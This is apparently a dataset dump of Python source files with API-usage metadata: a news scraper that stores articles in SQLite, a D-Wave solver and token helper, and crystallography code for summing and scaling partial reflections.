"usage_type": "call"}, {"api_name": "math.nan", "line_number": 115, "usage_type": "attribute"}, {"api_name": "math.nan", "line_number": 116, "usage_type": "attribute"}, {"api_name": "math.nan", "line_number": 117, "usage_type": "attribute"}, {"api_name": "dataclasses.dataclass", "line_number": 101, "usage_type": "call"}, {"api_name": "InnerEye.Azure.azure_util.is_offline_run_context", "line_number": 159, "usage_type": "call"}, {"api_name": "InnerEye.Azure.azure_util.RUN_CONTEXT", "line_number": 159, "usage_type": "argument"}, {"api_name": "InnerEye.Azure.azure_util.RUN_CONTEXT.log", "line_number": 161, "usage_type": "call"}, {"api_name": "InnerEye.Azure.azure_util.RUN_CONTEXT", "line_number": 161, "usage_type": "name"}, {"api_name": "InnerEye.Azure.azure_util.PARENT_RUN_CONTEXT", "line_number": 164, "usage_type": "name"}, {"api_name": "InnerEye.Azure.azure_util.DEFAULT_CROSS_VALIDATION_SPLIT_INDEX", "line_number": 165, "usage_type": "name"}, {"api_name": "InnerEye.Azure.azure_util.PARENT_RUN_CONTEXT.log", "line_number": 166, "usage_type": "call"}, {"api_name": "InnerEye.Azure.azure_util.PARENT_RUN_CONTEXT", "line_number": 166, "usage_type": "name"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 178, "usage_type": "attribute"}, {"api_name": "InnerEye.Azure.azure_util.is_offline_run_context", "line_number": 209, "usage_type": "call"}, {"api_name": "InnerEye.Azure.azure_util.RUN_CONTEXT", "line_number": 209, "usage_type": "argument"}, {"api_name": "InnerEye.Azure.azure_util.RUN_CONTEXT.log_image", "line_number": 210, "usage_type": "call"}, {"api_name": "InnerEye.Azure.azure_util.RUN_CONTEXT", "line_number": 210, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 212, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 212, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 213, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 213, "usage_type": "call"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 217, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 218, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.LOSS", "line_number": 226, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 226, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 227, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 227, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.PROPORTION_FOREGROUND_VOXELS", "line_number": 228, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 228, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.SECONDS_PER_EPOCH", "line_number": 229, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 229, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 241, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 241, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.PROPORTION_FOREGROUND_VOXELS", "line_number": 243, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 243, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 245, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.get_metric_name_with_hue_prefix", "line_number": 252, "usage_type": "call"}, {"api_name": "typing.Any", "line_number": 255, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 263, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 255, "usage_type": "name"}, {"api_name": "SimpleITK.Image", "line_number": 269, "usage_type": "attribute"}, {"api_name": "SimpleITK.StatisticsImageFilter", "line_number": 277, "usage_type": "call"}, {"api_name": "SimpleITK.LabelContour", "line_number": 279, "usage_type": "call"}, {"api_name": "SimpleITK.Abs", "line_number": 283, "usage_type": "call"}, {"api_name": "SimpleITK.SignedMaurerDistanceMap", "line_number": 284, "usage_type": "call"}, {"api_name": "SimpleITK.LabelContour", "line_number": 285, "usage_type": "call"}, {"api_name": "SimpleITK.Abs", "line_number": 288, "usage_type": "call"}, {"api_name": "SimpleITK.SignedMaurerDistanceMap", "line_number": 288, "usage_type": "call"}, {"api_name": "SimpleITK.LabelContour", "line_number": 289, "usage_type": "call"}, {"api_name": "SimpleITK.Cast", "line_number": 293, "usage_type": "call"}, {"api_name": "SimpleITK.sitkFloat32", "line_number": 293, "usage_type": "attribute"}, {"api_name": "SimpleITK.Cast", "line_number": 294, "usage_type": "call"}, {"api_name": "SimpleITK.sitkFloat32", "line_number": 294, "usage_type": "attribute"}, {"api_name": "SimpleITK.GetArrayViewFromImage", "line_number": 300, "usage_type": "call"}, {"api_name": "SimpleITK.GetArrayViewFromImage", "line_number": 302, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 306, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 309, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 317, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 309, "usage_type": "name"}, {"api_name": "numpy.ndarray", "line_number": 321, "usage_type": "attribute"}, {"api_name": "numpy.ndarray", "line_number": 322, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 323, "usage_type": "name"}, {"api_name": "InnerEye.Common.type_annotations.TupleFloat3", "line_number": 324, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 325, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.image_util.binaries_from_multi_label_array", "line_number": 340, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.image_util.is_binary_array", "line_number": 342, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 343, "usage_type": "call"}, {"api_name": "SimpleITK.LabelOverlapMeasuresImageFilter", "line_number": 345, "usage_type": "call"}, {"api_name": "SimpleITK.HausdorffDistanceImageFilter", "line_number": 346, "usage_type": "call"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 347, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.ml_util.check_size_matches", "line_number": 351, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.image_util.is_binary_array", "line_number": 352, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 356, "usage_type": "call"}, {"api_name": "numpy.all", "line_number": 357, "usage_type": "call"}, {"api_name": "math.nan", "line_number": 358, "usage_type": "attribute"}, {"api_name": "SimpleITK.GetImageFromArray", "line_number": 360, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 360, "usage_type": "attribute"}, {"api_name": "SimpleITK.VectorDouble", "line_number": 361, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.io_util.reverse_tuple_float3", "line_number": 361, "usage_type": "call"}, {"api_name": "SimpleITK.GetImageFromArray", "line_number": 362, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 362, "usage_type": "attribute"}, {"api_name": "SimpleITK.VectorDouble", "line_number": 363, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.io_util.reverse_tuple_float3", "line_number": 363, "usage_type": "call"}, {"api_name": "math.inf", "line_number": 367, "usage_type": "attribute"}, {"api_name": "logging.warning", "line_number": 373, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 378, "usage_type": "call"}, {"api_name": "logging.debug", "line_number": 379, "usage_type": "call"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 381, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 384, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 384, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.HAUSDORFF_mm", "line_number": 385, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 385, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.MEAN_SURFACE_DIST_mm", "line_number": 386, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 386, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 325, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 390, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 391, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.ml_util.check_size_matches", "line_number": 408, "usage_type": "call"}, {"api_name": "torch.allclose", "line_number": 413, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 413, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 414, "usage_type": "call"}, {"api_name": "torch.nn.functional.one_hot", "line_number": 419, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 419, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 427, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 428, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 393, "usage_type": "attribute"}, {"api_name": "typing.List", "line_number": 433, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 445, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 447, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 448, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 449, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_util.format_metric", "line_number": 465, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.metrics_util", "line_number": 465, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.LOSS", "line_number": 465, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 465, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_util.format_metric", "line_number": 466, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.metrics_util", "line_number": 466, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 466, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 466, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_util.format_metric", "line_number": 467, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.metrics_util", "line_number": 467, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.LOSS", "line_number": 467, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 467, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_util.format_metric", "line_number": 468, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.metrics_util", "line_number": 468, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 468, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 468, "usage_type": "name"}, {"api_name": "tensorboardX.SummaryWriter", "line_number": 483, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 484, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.image_util.check_array_range", "line_number": 494, "usage_type": "call"}, {"api_name": "InnerEye.Common.common_util.DataframeLogger", "line_number": 499, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 501, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 502, "usage_type": "name"}, {"api_name": "InnerEye.ML.model_config_base.ModelConfigBase", "line_number": 503, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns.Dice", "line_number": 518, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns", "line_number": 518, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns.Loss", "line_number": 519, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns", "line_number": 519, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns.SecondsPerEpoch", "line_number": 520, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns", "line_number": 520, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 518, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 518, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.LOSS", "line_number": 519, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 519, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.SECONDS_PER_EPOCH", "line_number": 520, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 520, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 524, "usage_type": "argument"}, {"api_name": "typing.Dict", "line_number": 526, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.get_column_name_for_logging", "line_number": 528, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns.Epoch", "line_number": 534, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns", "line_number": 534, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns.CrossValidationSplitIndex", "line_number": 535, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.metrics_constants.LoggingColumns", "line_number": 535, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.ScalarMetricsDict", "line_number": 541, "usage_type": "name"}, {"api_name": "typing.Sequence", "line_number": 542, "usage_type": "name"}, {"api_name": "InnerEye.Common.type_annotations.IntOrString", "line_number": 542, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 543, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 544, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.scalar_config.ScalarLoss", "line_number": 545, "usage_type": "name"}, {"api_name": "InnerEye.ML.scalar_config.ScalarLoss.BinaryCrossEntropyWithLogits", "line_number": 545, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.utils.sequence_utils.get_masked_model_outputs_and_labels", "line_number": 569, "usage_type": "call"}, {"api_name": "InnerEye.ML.scalar_config.ScalarLoss.MeanSquaredError", "line_number": 579, "usage_type": "attribute"}, {"api_name": "InnerEye.ML.scalar_config.ScalarLoss", "line_number": 579, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.MEAN_SQUARED_ERROR", "line_number": 581, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 581, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.MEAN_ABSOLUTE_ERROR", "line_number": 582, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 582, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.R2_SCORE", "line_number": 583, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 583, "usage_type": "name"}, {"api_name": "torch.nn.functional.mse_loss", "line_number": 581, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 581, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_util.mean_absolute_error", "line_number": 582, "usage_type": "call"}, {"api_name": "InnerEye.ML.utils.metrics_util.r2_score", "line_number": 583, "usage_type": "call"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.CROSS_ENTROPY", "line_number": 587, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 587, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.ACCURACY_AT_THRESHOLD_05", "line_number": 589, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 589, "usage_type": "name"}, {"api_name": "torch.nn.functional.binary_cross_entropy", "line_number": 587, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 587, "usage_type": "name"}, {"api_name": "InnerEye.ML.utils.metrics_util.binary_classification_accuracy", "line_number": 589, "usage_type": "call"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.R2_SCORE", "line_number": 592, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 592, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 604, "usage_type": "name"}, {"api_name": "InnerEye.ML.config.BACKGROUND_CLASS_NAME", "line_number": 614, "usage_type": "name"}, {"api_name": "InnerEye.ML.config.BACKGROUND_CLASS_NAME", "line_number": 619, "usage_type": "argument"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.VOXEL_COUNT", "line_number": 623, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 623, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 630, "usage_type": "call"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.PROPORTION_FOREGROUND_VOXELS", "line_number": 632, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 632, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.PROPORTION_FOREGROUND_VOXELS", "line_number": 633, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 633, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 633, "usage_type": "call"}, {"api_name": "InnerEye.Common.metrics_dict.MetricsDict", "line_number": 637, "usage_type": "name"}, {"api_name": "InnerEye.ML.config.BACKGROUND_CLASS_NAME", "line_number": 645, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 646, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 646, "usage_type": "name"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType.DICE", "line_number": 647, "usage_type": "attribute"}, {"api_name": "InnerEye.Common.metrics_dict.MetricType", "line_number": 647, "usage_type": "name"}, {"api_name": "numpy.nanmean", "line_number": 647, "usage_type": "call"}]} {"seq_id": "470474596", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Jun 1 14:58:34 2019\n\n@author: Adam\n\n@E-mail: shengqiang.liu@videt.cn\n\"\"\"\nimport threading\nimport multiprocessing\nimport requests\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport sqlite3\n\nconn = sqlite3.connect('./db/ir.db')\nc = conn.cursor()\nc.execute('''DROP TABLE IF EXISTS news''')\nc.execute('''CREATE TABLE news\n (id INTEGER PRIMARY KEY, label TEXT, url TEXT, title TEXT , dt TEXT, article TEXT)''')\nconn.commit()\nconn.close()\n\nwith open(\"./data/links.txt\",\"r\") as f:\n links = [link.strip() for link in f.readlines()]\n \nlabel_list = [\"news\", \"sports\", \"fashion\", \"finance\", \"ent\", \"tech\", \n \"edu\", \"travel\", \"games\", \"auto\"]\n\n\ndef get_information(i,url):\n try:\n result = {}\n res = requests.get(url)\n res.encoding = 'utf-8'\n result['label'] = 'unkonwn'\n for label in label_list:\n if label in url:\n result['label'] = label \n \n soup = BeautifulSoup(res.text,'html.parser')\n result['url'] = url\n result['title'] = soup.select('.main-title')[0].text\n timesource = soup.select('span.date')[0].text\n result['dt'] = datetime.strptime(timesource,'%Y年%m月%d日 %H:%M')\n result['article'] = ''.join([p.text.strip() for p in soup.select('.article p')[:-1]])\n return tuple([i]+[v for k,v in result.items()])\n except Exception as e:\n print('error : {}'.format(e))\n return \n\n\ndef save_info_to_db(inpu):\n no,link = inpu\n c = conn.cursor()\n info = get_information(no,link)\n\n if info:\n print('[+] success insert link into db, link id:{}'.format(no))\n \n c.execute(\"INSERT INTO news VALUES (?,?, ?, ?, ?, ?)\", info)\n conn.commit()\n else:\n print(\"[-] link error: {}\".format(link))\n\n\nif __name__ == '__main__':\n conn = sqlite3.connect('./db/ir.db')\n # 多进程\n pool = multiprocessing.Pool() \n # 多线程\n thread = threading.Thread(target=pool.map,args = (save_info_to_db,[link for link in enumerate(links)])) \n thread.start() \n thread.join()\n", "sub_path": "spyder_news_infomation.py", "file_name": "spyder_news_infomation.py", "file_ext": "py", "file_size_in_byte": 2160, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sqlite3.connect", "line_number": 17, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 35, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 69, "usage_type": "call"}, {"api_name": "multiprocessing.Pool", "line_number": 71, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 73, "usage_type": "call"}]} {"seq_id": "313351436", "text": "# Copyright 2018 D-Wave Systems Inc.\n\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http: // www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nfrom dwave.cloud import Client\nfrom dwave.cloud.exceptions import *\nfrom IPython.display import Markdown, display\n\ndef print_markdown(string):\n display(Markdown(string))\n\ndef default_solver():\n with Client.from_config() as client:\n try:\n my_default_solver = client.get_solver(qpu=True).id\n ds = \"Solver: \" + my_default_solver\n print(ds)\n except SolverNotFoundError:\n my_default_solver = \" \"\n print_markdown(\"<span style='color:red;font-weight:bold'>No D-Wave solver found.</span>\")\n print(\"Please check available solvers on the <span style='font-weight:bold'>Leap dashboard</span>.\")\n my_default_token = os.getenv('DWAVE_API_TOKEN')\n if not my_default_token or my_default_token == \"None\":\n print_markdown(\"<span style='color:red;font-weight:bold'>No default API token.</span>\")\n print(\"An API token is not set for this environment.\")\n print_markdown(\"You can find your API token on the <span style='font-weight:bold'>Leap dashboard</span>.\")\n print(\"Please uncomment the \\\"sampler =\\\" line in the next cell and paste your token there.\")\n else:\n dt = \"API Token: \" + my_default_token[:10] + \"***\" + my_default_token[-5:]\n print(dt)\n return(my_default_solver, my_default_token)\n\n\n\n", "sub_path": "factoring/helpers/solvers.py", "file_name": "solvers.py", "file_ext": "py", "file_size_in_byte": 1936, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "IPython.display.display", "line_number": 21, "usage_type": "call"}, {"api_name": "IPython.display.Markdown", "line_number": 21, "usage_type": "call"}, {"api_name": "dwave.cloud.Client.from_config", "line_number": 24, "usage_type": "call"}, {"api_name": "dwave.cloud.Client", "line_number": 24, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 33, "usage_type": "call"}]} {"seq_id": "473469960", "text": "# coding: utf-8\n\nfrom __future__ import absolute_import, division, print_function\n\nimport logging\nimport time\nfrom collections import defaultdict\nfrom math import ceil, cos, floor, log, pi, sin, sqrt\n\nfrom dials.array_family import flex\nfrom dials.util.version import dials_version\nfrom iotbx import mtz\nfrom libtbx.utils import Sorry\nfrom scitbx import matrix\n\ntry:\n from math import isclose\nexcept ImportError:\n # Python 3 backport\n def isclose(a, b, rel_tol=1e-09, abs_tol=0.0):\n return abs(a-b) <= max(rel_tol * max(abs(a), abs(b)), abs_tol)\n\nlogger = logging.getLogger(__name__)\n\n\ndef sum_partial_reflections(integrated_data, min_total_partiality=0.5):\n '''Sum partial reflections; weighted sum for summation integration; weighted\n average for profile fitted reflections. N.B. this will report total\n partiality for the summed reflection.'''\n\n if not 'partiality' in integrated_data:\n return integrated_data\n\n # rest of the columns are pretty well defined - these are all uniform for the\n # reflection so can just ignore other values:\n #\n # d\n # id\n # entering\n # flags\n # lp\n # miller_index\n # panel\n # partial_id\n # s1\n # xyzcal.mm\n # xyzcal.px\n # zeta\n #\n # Then finally these need a weighted average:\n #\n # intensity.prf.value\n # intensity.prf.variance\n # intensity.sum.value\n # intensity.sum.variance\n # partiality\n # bbox - this is not used...\n #\n # now just need to worry about those that I am actually outputting to the MTZ\n # file...\n\n isel = (integrated_data['partiality'] < 0.99).iselection()\n\n if len(isel) == 0:\n return integrated_data\n\n delete = flex.size_t()\n partial_map = defaultdict(list)\n\n # create map of partial_id to reflections j\n\n for j in isel:\n partial_map[integrated_data['partial_id'][j]].append(j)\n\n # now work through this map - get total partiality for every reflection;\n # here only consider reflections with > 1 component; if total partiality\n # less than min_total_partiality discard all parts.\n\n partial_ids = []\n\n for p_id in partial_map:\n if len(partial_map[p_id]) > 1:\n partial_ids.append(p_id)\n\n # work through multipart partials; compute those weighted values I need\n # if total partiality less than min, delete. if summing, delete extra parts\n\n we_got_profiles = 'intensity.prf.value' in integrated_data\n logger.info('Profile fitted reflections: %s' % we_got_profiles)\n\n for p_id in partial_ids:\n p_tot = sum([integrated_data['partiality'][j] for j in partial_map[p_id]])\n if p_tot < min_total_partiality:\n for j in partial_map[p_id]:\n delete.append(j)\n continue\n\n j0 = partial_map[p_id][0]\n jrest = partial_map[p_id][1:]\n\n # FIXME revisiting this calculation am not sure it is correct - why\n # weighting by (I/sig(I))^2 not just 1/variance?\n if we_got_profiles:\n prf_value = integrated_data['intensity.prf.value'][j0]\n prf_variance = integrated_data['intensity.prf.variance'][j0]\n weight = prf_value * prf_value / prf_variance\n prf_value *= weight\n prf_variance *= weight\n total_weight = weight\n sum_value = integrated_data['intensity.sum.value'][j0]\n sum_variance = integrated_data['intensity.sum.variance'][j0]\n partiality = integrated_data['partiality'][j0]\n\n # weight profile fitted intensity and variance computed from weights\n # proportional to (I/sig(I))^2; schedule for deletion spare parts\n\n for j in jrest:\n delete.append(j)\n\n sum_value += integrated_data['intensity.sum.value'][j]\n sum_variance += integrated_data['intensity.sum.variance'][j]\n partiality += integrated_data['partiality'][j]\n\n if we_got_profiles:\n _prf_value = integrated_data['intensity.prf.value'][j]\n _prf_variance = integrated_data['intensity.prf.variance'][j]\n\n _weight = _prf_value * _prf_value / _prf_variance\n prf_value += _weight * _prf_value\n prf_variance += _weight * _prf_variance\n total_weight += _weight\n\n # now write these back into original reflection\n if we_got_profiles:\n prf_value /= total_weight\n prf_variance /= total_weight\n integrated_data['intensity.prf.value'][j0] = prf_value\n integrated_data['intensity.prf.variance'][j0] = prf_variance\n integrated_data['intensity.sum.value'][j0] = sum_value\n integrated_data['intensity.sum.variance'][j0] = sum_variance\n integrated_data['partiality'][j0] = partiality\n\n integrated_data.del_selected(delete)\n\n return integrated_data\n\n\ndef scale_partial_reflections(integrated_data, min_partiality=0.5):\n '''Scale partial reflections (after summation) according to their estimated\n partiality - for profile fitted reflections this will result in no change,\n for summation integrated reflections will be scaled up by 1 / partiality\n with error accordingly scaled. N.B. this will report the scaled up partiality\n for the output reflection.'''\n\n # assert: in here there will be no multi-part partial reflections\n\n if not 'partiality' in integrated_data:\n return integrated_data\n\n isel = (integrated_data['partiality'] < 1.0).iselection()\n\n if len(isel) == 0:\n return integrated_data\n\n delete = flex.size_t()\n\n for j in isel:\n if integrated_data['partiality'][j] < min_partiality:\n delete.append(j)\n continue\n inv_p = 1.0 / integrated_data['partiality'][j]\n integrated_data['intensity.sum.value'][j] *= inv_p\n integrated_data['intensity.sum.variance'][j] *= inv_p\n integrated_data['partiality'][j] *= 1.0\n\n integrated_data.del_selected(delete)\n\n return integrated_data\n\n\ndef dials_u_to_mosflm(dials_U, uc):\n '''Compute the mosflm U matrix i.e. the U matrix from same UB definition\n as DIALS, but with Busing & Levy B matrix definition.'''\n\n parameters = uc.parameters()\n dials_B = matrix.sqr(uc.fractionalization_matrix()).transpose()\n dials_UB = dials_U * dials_B\n\n r_parameters = uc.reciprocal_parameters()\n\n a = parameters[:3]\n al = [pi * p / 180.0 for p in parameters[3:]]\n b = r_parameters[:3]\n be = [pi * p / 180.0 for p in r_parameters[3:]]\n\n mosflm_B = matrix.sqr((b[0], b[1] * cos(be[2]), b[2] * cos(be[1]),\n 0, b[1] * sin(be[2]), - b[2] * sin(be[1]) * cos(al[0]),\n 0, 0, 1.0 / a[2]))\n\n mosflm_U = dials_UB * mosflm_B.inverse()\n\n return mosflm_U\n\n\ndef _apply_data_filters(integrated_data,\n ignore_profile_fitting, filter_ice_rings, min_isigi,\n include_partials, keep_partials, scale_partials):\n \"\"\"Apply filters to reflection data\"\"\"\n\n # select reflections that are assigned to an experiment (i.e. non-negative id)\n integrated_data = integrated_data.select(integrated_data['id'] >= 0)\n assert len(integrated_data), \"No experiment-assigned reflections\"\n logger.info('Read %s predicted reflections' % len(integrated_data))\n\n # Ignore profile fitted\n if ignore_profile_fitting:\n del integrated_data['intensity.prf.value']\n del integrated_data['intensity.prf.variance']\n\n if 'intensity.prf.variance' in integrated_data:\n selection = integrated_data.get_flags(\n integrated_data.flags.integrated,\n all=True)\n else:\n selection = integrated_data.get_flags(\n integrated_data.flags.integrated_sum)\n integrated_data = integrated_data.select(selection)\n logger.info(\"Selected %d integrated reflections\" % len(integrated_data))\n\n # check we have reflections left - see #357\n if len(integrated_data) == 0:\n if ignore_profile_fitting:\n raise Sorry(\"All reflections excluded based on flags.integrated\")\n else:\n raise 